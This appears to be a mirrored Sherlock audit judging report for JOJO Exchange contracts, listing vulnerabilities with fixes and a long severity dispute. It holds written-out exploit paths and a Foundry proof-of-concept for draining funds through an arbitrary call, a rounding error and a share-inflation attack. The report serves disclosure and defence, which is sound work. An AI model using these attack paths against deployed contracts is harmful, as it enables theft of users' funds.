GithubHelp home page GithubHelp logo

2023-12-jojo-exchange-update-judging's Introduction

Issue H-1: All funds can be stolen from JOJODealer

Source: #7

Found by

0x52, 0xhashiman, T1MOH, bughuntoor, cawfree, giraffe, vvv

Summary

Funding._withdraw() makes arbitrary call with user specified params. User can for example make ERC20 to himself and steal funds.

Vulnerability Detail

User can specify parameters param and to when withdraws:

    function executeWithdraw(address from, address to, bool isInternal, bytes memory param) external nonReentrant {
        Funding.executeWithdraw(state, from, to, isInternal, param);
    }

In the end of _withdraw() function address to is called with that bytes param:

    function _withdraw(
        Types.State storage state,
        address spender,
        address from,
        address to,
        uint256 primaryAmount,
        uint256 secondaryAmount,
        bool isInternal,
        bytes memory param
    )
        private
    {
        ...

        if (param.length != 0) {
@>          require(Address.isContract(to), "target is not a contract");
            (bool success,) = to.call(param);
            if (success == false) {
                assembly {
                    let ptr := mload(0x40)
                    let size := returndatasize()
                    returndatacopy(ptr, 0, size)
                    revert(ptr, size)
                }
            }
        }
    }

As an attack vector attacker can execute withdrawal of 1 wei to USDC contract and pass calldata to transfer arbitrary USDC amount to himself via USDC contract.

Impact

All funds can be stolen from JOJODealer

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/libraries/Funding.sol#L173-L184

Tool used

Manual Review

Recommendation

Don't make arbitrary call with user specified params

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { This is valid and i can validate it with POC from report 076}

JoscelynFarr

Fixed PR: https://github.com/JOJOexchange/smart-contract-EVM/commit/763de53a36243490ef46a2c702c5a1480554f286

IAm0x52

Fix looks good. To must now be a whitelisted contract

Issue H-2: FundingRateArbitrage contract can be drained due to rounding error

Source: #57

Found by

detectiveking

Summary

In the requestWithdraw, rounding in the wrong direction is done which can lead to contract being drained.

Vulnerability Detail

In the requestWithdraw function in FundingRateArbitrage, we find the following lines of code:

jusdOutside[msg.sender] -= repayJUSDAmount;
uint256 index = getIndex();
uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);
require(
     earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance"
);
withdrawEarnUSDCAmount = earnUSDCBalance[msg.sender] - lockedEarnUSDCAmount;

Because we round down when calculating lockedEarnUSDCAmount, withdrawEarnUSDCAmount is higher than it should be, which leads to us allowing the user to withdraw more than we should allow them to given the amount of JUSD they repaid.

The execution of this is a bit more complicated, let's go through an example. We will assume there's a bunch of JUSD existing in the contract and the attacker is the first to deposit.

Steps:

  1. The attacker deposits 1 unit of USDC and then manually sends in another 100 * 10^6 - 1 (not through deposit, just a transfer). The share price / price per earnUSDC will now be $100. Exactly one earnUSDC is in existence at the moment.
  2. Next the attacker creates a new EOA and deposits a little over $101 worth of USDC (so that after fees we can get to the $100), giving one earnUSDC to the EOA. The attacker will receive around $100 worth of JUSD from doing this.
  3. Attacker calls requestWithdraw with repayJUSDAmount = 1 with the second newly created EOA
  4. lockedEarnUSDCAmount is rounded down to 0 (since repayJUSDAmount is subtracted from jusdOutside[msg.sender]
  5. withdrawEarnUSDCAmount will be 1
  6. After permitWithdrawRequests is called, attacker will be able to withdraw the $100 they deposited through the second EOA (granted, they lost the deposit and withdrawal fees) while only having sent 1 unit of JUSD back. This leads to massive profit for the attacker.

Attacker can repeat steps 2-6 constantly until the contract is drained of JUSD.

Impact

All JUSD in the contract can be drained

Code Snippet

https://github.com/JOJOexchange/smart-contract-EVM/blob/main/src/FundingRateArbitrage.sol#L283-L300

Tool used

Manual Review

Recommendation

Round up instead of down

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { This is valid and also a dupp of 054 due to the same underlying cause of first deposit attack; but in this the watson explained the exploit scenario of the inflation attack}

nevillehuang

request poc

sherlock-admin

PoC requested from @detectiveking123

Requests remaining: 4

JoscelynFarr

I think this issue is similar to #54

nevillehuang

@JoscelynFarr Seems right, @detectiveking123 do you agree that this seems to be related to a typical first depositor inflation attack.

detectiveking123

@nevillehuang I am not exactly sure how this should be judged.

The attack that I describe here chains two separate vulnerabilities together (one of which is the rounding error and the other which is the same root cause as the share inflation attack) to drain all the funds existing in the contract, which is clearly a high. It also doesn't rely on any front-running on Arbitrum assumptions, while the other issue does. In fact, no interaction from any other users is necessary for the attacker to drain all the funds. The exploit that is described in the other issue cannot actually drain all the funds in the contract like this one can, but simply drain user deposits if they can frontrun them.

To clarify, the rounding error that I describe here is different from the rounding error described in the ERC4626 inflation style exploit (so I guess there are two separate rounding errors that optimally should be chained together for this exploit).

Do you still want me to provide a code POC here? I already have an example in the issue description of how the attack can be performed.

nevillehuang

@detectiveking123 Yes, please provide me a coded PoC in 1-2 days so that I can verify the draining impact, because it does share similar root causes of direct donation of funds as the first inflation attack.

detectiveking123

@nevillehuang let me get it to you by tomorrow

detectiveking123

@nevillehuang

    function testExploit() public {
        jusd.mint(address(fundingRateArbitrage), 5000e6);
        // net value starts out at 0 :)
        console.log(fundingRateArbitrage.getNetValue());

        vm.startPrank(Owner); 
        fundingRateArbitrage.setMaxNetValue(10000000e6); 
        fundingRateArbitrage.setDefaultQuota(10000000e6); 
        vm.stopPrank(); 
                 
        initAlice();
        // Alice deposits twice
        fundingRateArbitrage.deposit(1);
        USDC.transfer(address(fundingRateArbitrage), 100e6);
        fundingRateArbitrage.deposit(100e6);
        vm.stopPrank();

        vm.startPrank(alice);
        fundingRateArbitrage.requestWithdraw(1);
        fundingRateArbitrage.requestWithdraw(1);
        vm.stopPrank();

        vm.startPrank(Owner); 
        uint256[] memory requestIds = new uint256[](2);
        requestIds[0] = 0; 
        requestIds[1] = 1;
        fundingRateArbitrage.permitWithdrawRequests(requestIds); 
        vm.stopPrank(); 

        // Alice is back to her initial balance, but now has a bunch of extra JUSD deposited for her into jojodealer!
        console.log(USDC.balanceOf(alice));
        (,uint secondaryCredit,,,) = jojoDealer.getCreditOf(alice);
        console.log(secondaryCredit);
    }

Add this to FundingRateArbitrageTest.t.sol

You will also need to add:

    function transfer(address to, uint256 amount) public override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

to TestERC20

And change initAlice to:

    function initAlice() public {
        USDC.mint(alice, 300e6 + 1);
        jusd.mint(alice, 300e6 + 1);
        vm.startPrank(alice);
        USDC.approve(address(fundingRateArbitrage), 300e6 + 1);
        jusd.approve(address(fundingRateArbitrage), 300e6 + 1); 
    }

FYI for this exploit the share inflation is helpful but not necessary. The main issue is the rounding down of lockedEarnUSDCAmount in requestWithdraw. Even if the share price is 1 cent for example, we will slowly be able to drain JUSD from the contract. An assumption for profitability is that the share price is nontrivial though (so if it's really small it won't be profitable for the attacker b/c of gas fees and deposit fees, though you can still technically drain).

nevillehuang

This issue is exactly the same as #21 and the original submission shares the same root cause of depositor inflation to make the attack feasible, given share price realistically won't be of such a low price. I will be duplicating accordingly. Given and subsequent deposits can be drained, I will be upgrading to high severity

@detectiveking123 If you want to escalate feel free,I will maintain my stance here.

IAm0x52

Same fix as #54

JoscelynFarr

Hey @Czar102 @IAm0x52 @detectiveking123 Have already fixed it here https://github.com/JOJOexchange/smart-contract-EVM/commit/beda757204dd242280ec3e46612e97828ea9ffc6

IAm0x52

Fix looks good

Issue M-1: JUSDBankStorage::getTRate(),JUSDBankStorage::accrueRate() are calculated differently, and the data calculation is biased, Causes the JUSDBank contract funciton result to be incorrect

Source: #1

Found by

FastTiger, T1MOH, bitsurfer, dany.armstrong90, detectiveking, joicygiore, rvierdiiev

Summary

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>         tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

JUSDBankStorage::getTRate(),JUSDBankStorage::accrueRate() are calculated differently, and the data calculation is biased, resulting in the JUSDBank contract not being executed correctly

Vulnerability Detail

The wrong result causes the funciton calculation results of JUSDBank::_isAccountSafe(), JUSDBank::flashLoan(), JUSDBank::_handleBadDebt, etc. to be biased,and all functions that call the relevant function will be biased

Impact

Causes the JUSDBank contract funciton result to be incorrect

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L67

Tool used

Manual Review

POC

Please add the test code to JUSDViewTest.t.sol for execution

    function testTRateDeviation() public {
        console.log(block.timestamp);
        console.log(jusdBank.lastUpdateTimestamp());
        vm.warp(block.timestamp + 18_356 days);
        jusdBank.accrueRate();
        console.log("tRate value than 2e18:", jusdBank.tRate());
        // block.timestamp for every 1 increment
        vm.warp(block.timestamp + 1);
        uint256 getTRateNum = jusdBank.getTRate();
        jusdBank.accrueRate();
        uint256 tRateNum = jusdBank.tRate();
        console.log("block.timestamp for every 1 increment, deviation:", tRateNum - getTRateNum);
        // block.timestamp for every 1 days increment
        vm.warp(block.timestamp + 1 days);
        getTRateNum = jusdBank.getTRate();
        jusdBank.accrueRate();
        tRateNum = jusdBank.tRate();
        console.log("block.timestamp for every 1 days increment, deviation:", tRateNum - getTRateNum);
    }

Recommendation

Use the same calculation formula:

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
         tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
-       return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+       return  tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
    }

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { This is also valid and a dupp of 016}

JoscelynFarr

After internal discussion, we decide to accrue rate in the view which is getTRate() function

JoscelynFarr

Fixed PR: https://github.com/JOJOexchange/smart-contract-EVM/commit/4b591c9fb0a232f784919905752c8e68d32b39ff

IAm0x52

Fix looks good. Math has been updated to use full precision

Issue M-2: Funding#requestWithdraw uses incorrect withdraw address

Source: #53

Found by

0x52, FastTiger, OrderSol, Varun_05, bughuntoor, dany.armstrong90

Summary

When requesting a withdraw, msg.sender is used in place of the from address. This means that withdraws cannot be initiated on behalf of other users. This will break integrations that depend on this functionality leading to irretrievable funds.

Vulnerability Detail

Funding.sol#L69-L82

function requestWithdraw(
    Types.State storage state,
    address from,
    uint256 primaryAmount,
    uint256 secondaryAmount
)
    external
{
    require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
    state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
    state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
    state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
    emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
}

As shown above the withdraw is accidentally queue to msg.sender NOT the from address. This means that all withdraws started on behalf of another user will actually trigger a withdraw from the operator. The result is that withdraw cannot be initiated on behalf of other users, even if the allowance is set properly, leading to irretrievable funds

Impact

Requesting withdraws for other users is broken and strands funds

Code Snippet

Funding.sol#L69-L82

Tool used

Manual Review

Recommendation

Change all occurrences of msg.sender in stage changes to from instead.

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { This is valid and a dupp of 082 with minimal impact}

detectiveking123

@nevillehuang do you believe this has enough impact to be considered valid?

JoscelynFarr

Fixed PR: https://github.com/JOJOexchange/smart-contract-EVM/commit/82b5c85c9999ace00265382e7d1bc83036685069

IAm0x52

Fix looks good. Now uses from instead of msg.sender

nevillehuang

@detectiveking123 @JoscelynFarr #30 (comment)

Issue M-3: FundRateArbitrage is vulnerable to inflation attacks

Source: #54

Found by

0x52, Ignite, bughuntoor, detectiveking, giraffe, rvierdiiev

Summary

When index is calculated, it is figured by dividing the net value of the contract (including USDC held) by the current supply of earnUSDC. Through deposit and donation this ratio can be inflated. Then when others deposit, their deposit can be taken almost completely via rounding.

Vulnerability Detail

FundingRateArbitrage.sol#L98-L104

function getIndex() public view returns (uint256) {
    if (totalEarnUSDCBalance == 0) {
        return 1e18;
    } else {
        return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
    }
}

Index is calculated is by dividing the net value of the contract (including USDC held) by the current supply of totalEarnUSDCBalance. This can be inflated via donation. Assume the user deposits 1 share then donates 100,000e6 USDC. The exchange ratio is now 100,000e18 which causes issues during deposits.

FundingRateArbitrage.sol#L258-L275

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}

Notice earnUSDCAmount is amount / index. With the inflated index that would mean that any deposit under 100,000e6 will get zero shares, making it exactly like the standard ERC4626 inflation attack.

Impact

Subsequent user deposits can be stolen

Code Snippet

FundingRateArbitrage.sol#L258-L275

Tool used

Manual Review

Recommendation

Use a virtual offset as suggested by OZ for their ERC4626 contracts

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { valid as watson demostrated how this implementation will lead to an inflation attack of the ERC4626 but its medium due to the possibility of it is very low and that front-tun in arbitrum is very unlikely }

detectiveking123

Escalate

I am not completely sure about the judgement here and am therefore escalating to get @Czar102 's opinion on how this should be judged.

I believe that #56 and #21 should be treated as different issues than this one. I am not even sure if this issue and other duplicates are valid, as they rely on the front-running on Arbitrum assumption, which has not been explicitly confirmed to be valid or invalid on Sherlock.

Please take a look at the thread on #56 to better understand the differences. But the TLDR is:

  1. This issue requires Arbitrum frontrunning to work, the other one in #56 doesn't
  2. The one in #56 takes advantage of a separate rounding error as well to fully drain funds inside the contract

sherlock-admin

Escalate

I am not completely sure about the judgement here and am therefore escalating to get @Czar102 's opinion on how this should be judged.

I believe that #56 and #21 should be treated as different issues than this one. I am not even sure if this issue and other duplicates are valid, as they rely on the front-running on Arbitrum assumption, which has not been explicitly confirmed to be valid or invalid on Sherlock.

Please take a look at the thread on #56 to better understand the differences. But the TLDR is:

  1. This issue requires Arbitrum frontrunning to work, the other one in #56 doesn't
  2. The one in #56 takes advantage of a separate rounding error as well to fully drain funds inside the contract

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

JoscelynFarr

Fixed PR: https://github.com/JOJOexchange/smart-contract-EVM/commit/b3cf3d6d6b761059f814efb84af53c5ead4f6446

nevillehuang

@detectiveking123

  • I think both this issue and your issue implies that the user needs to be the first depositor, especially the scenario highlighted. This does not explicitly requires a front-run, given a meticulous user can make their own EV calculations.

This issue:

Assume the user deposits 1 share then donates 100,000e6 USDC. The exchange ratio is now 100,000e18 which causes issues during deposits.

Your issue:

The execution of this is a bit more complicated, let's go through an example. We will assume there's a bunch of JUSD existing in the contract and the attacker is the first to deposit.

  • I think one of the watsons in the discord channel highlighted a valid design of the protocol to mitigate this issue, where withdrawals must be explicitly requested. Because of this, this could possibly be medium severity.

giraffe0x

Disagree that the request/permit design prevents this.

As described in code comments for requestWithdraw(): "The main purpose of this function is to capture the interest and avoid the DOS attacks". It is unlikely that withdraw requests are individually scrutinized and manually permitted by owner but automatically executed by bots in batches. Even if the owner does monitor each request, it would be tricky to spot dishonest deposits/withdrawals.

It is better to implement native contract defence a classic ERC4626 attack. Should be kept as a high finding.

nevillehuang

@giraffe0x Again you are speculating on off-chain mechanisms. While it is a valid concern, the focus should be on contract level code logic, and sherlocks assumption is that admin will make the right decisions when permitting withdrawal requests.

Also, here is the most recent example of where first depositor inflation is rated as medium:

sherlock-audit/2023-12-dodo-gsp-judging#55

detectiveking123

@nevillehuang

"I think both this issue and your issue implies that the user needs to be the first depositor, especially the scenario highlighted. This does not explicitly requires a front-run, given a meticulous user can make their own EV calculations."

How would you run this attack without front-running? Share inflation attacks explicitly require front-running

nevillehuang

@detectiveking123 I agree that the only possible reason for this issue to be valid is if

  • It so happens that a depositor is the first depositor, and he made his own EV calculations and realized so based on the shares obtained and current exchange ratios (slim chance of happening given front-running is a non-issue on arbitrum, but not impossible)
  • If the attack does not explicitly require a first depositor inflation attack (to my knowledge not possible), which I believe none of the original issues showed a scenario/explanation it is so (Even #21 and #57 is highlighting a first depositor scenario)

If both of the above scenario does not apply, all of the issues and its duplicates should be low severity.

IAm0x52

Fix looks good. Adds a virtual offset which prevents this issue.

Evert0x

Front-running isn't necessary as the attacker can deposit 1 wei + donate and just wait for someone to make a deposit under 100,000e6.

But this way the attack is still risky to execute as the attacker will lose the donated USDC in case he isn't the first depositor.

However, this can be mitigated if the attacker created a contract the does the 1 wei deposit + donate action in a single transaction BUT revert in case it isn't the first deposit in the protocol.

Planning to reject escalation and keep issue state as is.

detectiveking123

@Evert0x not sure that makes sense, if you just wait for someone then they should just not deposit (it's a user mistake to deposit, they should be informed that they'll retrieve no shares back in the UI).

Czar102

After a discussion with @Evert0x, planning to make it a Medium severity issue โ€“ frontend can display information for users not to fall victim to this exploit by displaying a number of output shares. Even though frontrunning a tx can't be done easily (there is no mempool), one can obtain information about a transaction being submitted in another way. Since this puts severe constraints on this being exploitable, planning to consider it a medium severity issue.

detectiveking123

@Czar102 My issue that has been duplicated with this (#57) drains the entire contract (clearly a high) and requires no front-running. The purpose of the escalation was primarily to request deduplication.

Czar102

Planning to consider #57 a separate High severity issue. #57 linked this finding together with another bug (ability to withdraw 1 wei of vault token in value for free) to construct a more severe exploit.

Also, planning to consider this issue a Medium severity one, as mentioned above.

deadrosesxyz

With all due respect, this is against the rules

Issues identifying a core vulnerability can be considered duplicates. Scenario A: There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

  • B -> high severity path
  • C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.

detectiveking123

It's worth noting that you can still drain the contract with the exploit described in #57 and #21, even without share inflation (The main issue is a rounding issue that allows you to get one more share than intended, so your profit will be the current share value). If the share price is trivial though, the exploiter will likely lose money to gas fees while draining.

This is why I said I'm not sure about the judging of this issue in the initial escalation, as it seems rather subjective.

Czar102

@deadrosesxyz There are two different vulnerabilities requiring two different fixes. In the fragment of the docs you quoted, all B and C are a result of a single vulnerability A, which is not the case here.

Czar102

Planning to make #57 a separate high, I don't see how is #21 presenting the same vulnerability. This issue and duplicates (including #21) will be considered a Medium.

IAm0x52

Why exactly would it be high and this one medium? Both rely on being first depositor (not frontrunning) and inflation

Edit: As stated in the other submission it is technically possible outside of first depositor but profit would be marginal and wouldn't cover gas costs. IMO hard to even call it a different exploit when both have the same prerequisites and same basic attack structure (first depositor and inflation).

Czar102

#57 presents a way to withdraw equivalent of 1 wei of the vault token for free. This issue and duplicates present a way to inflate the share price being the first depositor, and in case of the frontend displaying all needed information, one needs to frontrun a deposit transaction to execute the attack.

Czar102

Result: Medium Has duplicates

sherlock-admin

Escalations have been resolved successfully!

Escalation status:

IAm0x52

@Czar102 You should really reconsider this judgement. No way is #57 a high. What is your criteria? You can't make any money it and can't even make any meaningful impact on the holding of the vault unless you are first depositor and inflate the vault. It has no "material impact" on the vault holdings outside of those conditions. Those conditions happen to be the EXACT same as this issue.

IAm0x52

Let's say there is someone who attempts this. Every single withdraw that you do has to be manually approved by admin. You don't think that 1 million withdraws to steal EACH and EVERY SINGLE USDC wouldn't trigger some kind of red flag to the admin that would block that kind of behavior?

IAm0x52

Something else to note. #57 only works if the index is greater than 1e18. As soon as it is less than that this line will no longer return 0 even if you withdraw a single wei.

    uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);

The statement that it can be used to "drain" the vault is completely inaccurate. There is no way that this should be considered a high. You can only exploit #57 if you rely on inflation. #57 should not be a separate issue.

IAm0x52

Please show me how I can create 10,000 withdrawal requests for $0.01 on Arbitrum to make #57 even remotely possible without inflation

giraffe0x

Let's say there is someone who attempts this. Every single withdraw that you do has to be manually approved by admin. You don't think that 1 million withdraws to steal EACH and EVERY SINGLE USDC wouldn't trigger some kind of red flag to the admin that would block that kind of behavior?

This is an important point which downgraded/invalidated many other findings. Judges kept reiterating that the assumption is owner will make correct decisions when permitting withdraw requests - rejecting any request that puts the protocol at risk. @Czar102 @nevillehuang

IAm0x52

Something even more wrong with #57. You must withdraw at least the minimum as seen from these lines here:

    require(
        withdrawEarnUSDCAmount.decimalMul(index) >= withdrawSettleFee, "Withdraw amount is smaller than settleFee"
    );

Withdrawing a single wei will not work unless the vault has been inflated. Without inflation it doesn't produce any loss of funds PERIOD. This needs to be rejudged and #57 should be a dupe.

nevillehuang

I agree issue #57 should be a duplicate of this based on my comments here and the way i judge it, I think @Czar102 might have possibly made a mistake making #57 a unique high

detectiveking123

First off, apologies for not responding earlier, I was waiting on the green light to share some of the information below.

@IAm0x52, as the Lead Senior Watson, you have audited the latest version of the JOJO contracts (the new, fixed ones as a result of the issues found in this contest). You must therefore agree that the share inflation vulnerability for these fixed contracts has been mitigated.

Let's take a look at the code for these fixed contracts (https://github.com/JOJOexchange/smart-contract-EVM/blob/main/src/FundingRateArbitrage.sol#L99). Even with this virtual offset added, which by the way is the standard, OpenZeppelin recommended way of resolving share inflation, the rounding issue and the associated ability to drain the contracts still exists in the FIXED version of the code. You can figure this out for yourself if you take a look at the deposit function (https://github.com/JOJOexchange/smart-contract-EVM/blob/main/src/FundingRateArbitrage.sol#L260).

The reason the rounding issue still exists is and is profitable for the attacker is because, despite share inflation not being a concern, you are still able to achieve a non-trivial share price. This highlights a fundamental distinction between the share inflation attack and just having a non-trivial share price. The very idea of share inflation is front-running users and donating to make the share price artificially high, thus making them receive 0 shares back. However, a core part of ERC4626 vaults / this JOJO vault is the ability to handle any share price -- whether it is large or small. If users make a bunch of profits, for example, the vault should be able to handle whatever share price results.

This is why OpenZeppelin's recommended solution is to use this concept of virtual offsets, which still allows for a non-trivial share price (as any ERC4626 vault should), but prevents share inflation attacks. The attack in #57 does rely on a non-trivial share price for attacker profitability, but it does not rely on the share inflation attack specifically. The "fixed" version of the contracts show a case where the share inflation attack has been resolved, but this rounding issue lives on and still has the potential to drain the contracts.

A couple of you posted the following from the Sherlock rules:

Issues identifying a core vulnerability can be considered duplicates.
Scenario A:
There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

B -> high severity path
C -> medium severity attack path/just identifying the vulnerability.
Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.

So in this case the high severity path is #57 and the medium severity path is this issue (#54). However, even when share inflation attack (#54) was resolved, #57 still exists, so the issues should not be put together as duplicates.

Ultimately, I will admit, the interpretation of this specific rule is quite subjective. If you interpret this rule to mean "when the error A is fixed in a reasonable way, then issue B should live on while C should not, otherwise B and C are duplicates", then clearly #54 and #57 are separate issues.

But if you interpret it to mean "if the specific piece of code causing error A is completely removed and all issues relying on it are duplicates", then I am wrong.

I do think the first interpretation is much more fair, but at the end of the day it's the head of judging's call.

IAm0x52

I acknowledge the abuse of rounding exists in two separate spots for this contract. For #54 it exists here:

    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());

Without inflation, this rounding error is a low risk issue. Depositors lose 1 wei each deposit into the contract but that loss is trivial. The only way to make exploit based on it is to use inflation to make the 1 wei being lost into a very large value. Inflation enables this low risk bug to become a higher risk bug.

For #57 the rounding error exists here:

    uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);

Users can gain 1 wei under certain conditions (index over 1e18, etc.). Withdrawals have minimums and you pay fees on deposits. The vault fees and gas fees makes the system retain all the value "lost" and most of the time retain even more value than that. The only way to extract more value from system than it retains is to have a very high share price, which can only be achieved with inflation. The low risk bug above is now a higher risk bug.

Without inflation both issues have negligible impact and are therefore low. There is a very good reason why issues like this are grouped together. Let's take a hypothetical scenario. Assume there is a way to hijack ownership of the contract. Once you are owner you can destroy the vault in so many ways. You can set the treasury to an address that reverts when receiving USDC. You can set a minimum withdrawal that breaks the vault. You can now break it in at least 10 different ways. Tell me, would it be fair to now count each one of the different ways that the stolen admin can break the contract as a separate high risk vulnerability? To me the root cause of all those things is that owner can be stolen and that is the most fair, otherwise watsons would have to write up 15 reports each. Without admin being stolen those other issues have no impact.

Ultimately, I will admit, the interpretation of this specific rule is quite subjective. If you interpret this rule to mean "when the error A is fixed in a reasonable way, then issue B should live on while C should not, otherwise B and C are duplicates", then clearly #54 and #57 are separate issues.

I think the key here is a discussion of impact. I think a better way of framing it would be: "If error A is fixes in a reasonable way, then the IMPACT of issue B should live on while the IMPACT of C should not, otherwise B and C are duplicates." In fact, the rounding in both cases are not changed. Even after inflation is made impossible, the rounding error that causes #54 is still there and users still lose 1 wei each time they deposit! Just without inflation the impact of this lost wei is negligible. Same with #57. The rounding error will exist after inflation is prevented but the impact is now gone.

Sure you can say that after years and years the index could be a point that makes it exploitable but that argument is dismissed in many other vulnerabilities. Take truncation of block.timestamp. Technically after 50 years the timestamp will break but after so long we don't care. Technically addressing inflation doesn't fix either rounding error, but it takes an issue that can be exploit now and make it only exploitable after so long we don't care anymore. Just like the timestamp issue, this contract will be deprecated long before the index is ever big enough to exploit either this issue or #57. Even if that were to occur, withdrawals are all gatekept by admin and they can use deposit fees and minimum withdrawals to prevent any arbitrarily large index from extracting any value from the system.

detectiveking123

@IAm0x52

I am not sure your point makes sense.

You state: "Without inflation both issues have negligible impact and are therefore low."

I have shown you that in the latest, fixed version of the code (which you yourself approved, and thus admitted that share inflation is solved in this version of the code), the rounding issue persists and can be used to drain the contract. If share inflation is fixed in the recommended way, and the rounding issue still exists and can drain the contract, clearly they should be considered separate issues.

Will leave the rest up to the head of judging's discretion.

@JoscelynFarr This issue currently affects the latest version of the code on your Github. The recommendation to address it is to round down on the amount of shares the user gets out, rather than up.

IAm0x52

Where have you shown that? Where do you address minimum withdrawals and deposit fees? Assume a minimum withdrawal of 1 USDC (1e6) and a deposit fee of 0.1%. Both are very minimal values and it would take an index of 1000e18 to profit anything, even excluding gas costs. At 10% APR (very generous) it would take over 70 years to get to an index like that. At that point admin can increase minimum to 5 USDC and make it an index of 5000e18. IMO to assume that both of those values are zero (no fee and no minimum) would be gross misconfiguration of the vault by admin.

Where have you addressed that it would take millions of withdrawals to steal any meaningful amount of money? Where have you addressed the gas costs? Where have you addressed that admin would have to approve those millions of withdrawals?

These are the reasons why it is low without inflation because it has no impact.

detectiveking123

@IAm0x52

I am talking about the code here: https://github.com/JOJOexchange/smart-contract-EVM/blob/main/src/FundingRateArbitrage.sol#L99

The exploit here is very simple. The fact that deposit / withdrawal fees will be easily covered is obvious, so I will not include them in the calculations.

  1. Deposit $1000. 1000 shares will be minted, for a share price of $1.
  2. Let a bunch of other people deposit.
  3. Deposit $1 in.
  4. Withdraw your $1 by sending in 1 wei of JUSD. You will also have approximately $1 in JUSDBank.
  5. Repeat steps 3 and 4 for as long as you want.

Obviously, this attack can be repeated for values higher than $1000 and $1.

IAm0x52

To make that work, that would require an index of 1,000,000e18. How would you get to that index without inflation? You may have a misunderstanding as to how the index works. An index of 1e18 is the starting index of the vault. This means 1 wei of JUSD = 1 wei of USDC. In your example 1 wei of JUSD = 1 USDC (1,000,000 wei) and would therefore require an index of 1,000,000e18.

detectiveking123

@IAm0x52 The 1e18 you are referring to is including the 1e18 factor from SignedDecimalMath right?

Edit: Ah, I know what the point of confusion is. Please click the link I pasted instead of viewing it in your own IDE. It is a different version of the code I am referring to.

IAm0x52

The decimal math is as follows:

amount * index / 1e18.

So if you have an index of 1e18 then:

1 * 1e18 / 1e18 = 1

This is why an index of 1e18 means 1 wei JUSD = 1 wei USDC.

  1. Deposit $1000. 1000 shares will be minted, for a share price of $1.

This statement here requires an index of 1,000,000e18 and the starting index is 1e18.

detectiveking123

@IAm0x52

Can we agree that the getIndex function in the code we are talking about is as follows?

    function getIndex() public view returns (uint256) {
        return SignedDecimalMath.decimalDiv(getNetValue() + 1, totalEarnUSDCBalance + 1e3);
    }

IAm0x52

Correct. So if you have a net value of 1 and totalEarnUSDCBalance of 1 then your index would be:

1 * 1e18 / 1 = 1e18

To be fair though we have to use the pre-audit code which always sets the initial index to 1e18.

detectiveking123

@IAm0x52

Let's focus on this function and the version of the code I linked for now:

    function getIndex() public view returns (uint256) {
